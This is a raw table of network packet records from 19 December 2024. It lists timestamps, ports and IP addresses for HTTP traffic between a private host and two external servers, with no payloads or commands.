Dec 19, 2024 14:10:42.849523067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.849596024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.849674940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.849746943 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.850702047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.850760937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.850765944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.850869894 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.851851940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.851902008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.851984024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.852050066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.853121996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.853185892 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.853251934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.853308916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.854293108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.854341984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.854450941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.854501009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.855479956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.855568886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.855573893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.855621099 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.856659889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.856729031 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.856734991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.856929064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.857799053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.857856989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.857897043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.857984066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.858998060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.859075069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.859100103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.859152079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.860219955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.860307932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.860368013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.861358881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.861404896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.861428022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.861475945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.862565994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.862627029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.862662077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.863696098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.863748074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.863806963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.863876104 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.864927053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.864978075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.865015030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.865066051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.866061926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.866112947 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.866153002 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.866240025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.867300034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.867355108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.867361069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.867410898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.868473053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.868537903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.868594885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.869693995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.869756937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.869756937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.869810104 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.870532990 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.870611906 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.870822906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.870896101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.870934963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.870984077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.872200012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.872292042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.872365952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.872421026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.873363018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.873428106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.873469114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.873539925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.874358892 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.874428988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.874463081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.874478102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.875540018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.875657082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.875663042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.875725031 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.876717091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.876822948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.876840115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.876883030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.877914906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.877968073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.878042936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.878216982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.879118919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.879219055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.879230022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.879280090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.880283117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.880345106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.880398989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.881485939 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.881562948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.881731987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.881782055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.882639885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.882685900 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.882756948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.882819891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.883856058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.883919001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.883960009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.884031057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.885040045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.885092974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.885132074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.885225058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.886229038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.886290073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.886342049 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.886398077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.887378931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.887429953 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.887454987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.887511015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.888577938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.888645887 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.888686895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.888741970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.889743090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.889796972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.889862061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.889919043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.890917063 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.890974045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.891051054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.891099930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.892122030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.892199993 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.892205000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.892250061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.893320084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.893326998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.893368006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.894473076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.894556046 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.894562960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.894606113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.895670891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.895734072 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.895768881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.895834923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.896804094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.896855116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.896919012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.896964073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.898118019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.898166895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.898267031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.898313046 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.899221897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.899307013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.899343014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.900512934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.900593996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.900605917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.900664091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.901647091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.901710987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.901755095 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.901911974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.902820110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.902851105 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.902869940 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.902885914 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.033720970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.033822060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.033899069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.034053087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.034296036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.034353018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.034394026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.034437895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.035283089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.035334110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.035339117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.035381079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.036425114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.036477089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.036524057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.036575079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.037587881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.037698984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.037702084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.037750959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.038774967 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.038827896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.038827896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.038882017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.039964914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.040016890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.040066004 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.040117025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.041171074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.041224957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.041292906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.041346073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.042335987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.042391062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.042442083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.042493105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.043561935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.043627024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.043679953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.043728113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.044688940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.044739962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.044790030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.044840097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.045900106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.045953035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.046019077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.046071053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.046969891 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.047029972 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.047070980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.047123909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.047143936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.047194004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.048264980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.048316956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.048343897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.048391104 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.049498081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.049551964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.049592972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.049607992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.050822973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.050879955 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.050925016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.050975084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.052048922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.052105904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.052388906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.052459955 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.053451061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.053503036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.053555012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.053602934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.054536104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.054588079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.054714918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.054764032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.055685043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.055737972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.055813074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.055866003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.057056904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.057106018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.057111025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.057158947 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.058022976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.058130980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.058131933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.058182955 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.059062958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.059120893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.059151888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.059205055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.060075998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.060127974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.060194969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.060247898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.061260939 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.061314106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.061379910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.061431885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.062412977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.062465906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.062530041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.062581062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.063621044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.063673019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.063754082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.063812017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.064802885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.064860106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.064915895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.064966917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.065968990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.066090107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.066143036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.067190886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.067352057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.067406893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.068373919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.068439960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.068479061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.068528891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.069569111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.069626093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.069694996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.069745064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.070842981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.070894957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.070960045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.071012974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.072155952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.072211981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.072237015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.072285891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.073225021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.073276997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.073359966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.073411942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.074358940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.074414968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.074465990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.074516058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.075489044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.075545073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.075587988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:43.075633049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:43.283426046 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.283494949 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.351366997 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.351581097 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.351661921 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.403050900 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.403152943 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.472856045 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.472872019 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.472944975 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.472987890 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473004103 CET	80	49846	176.53.146.212	192.168.2.4
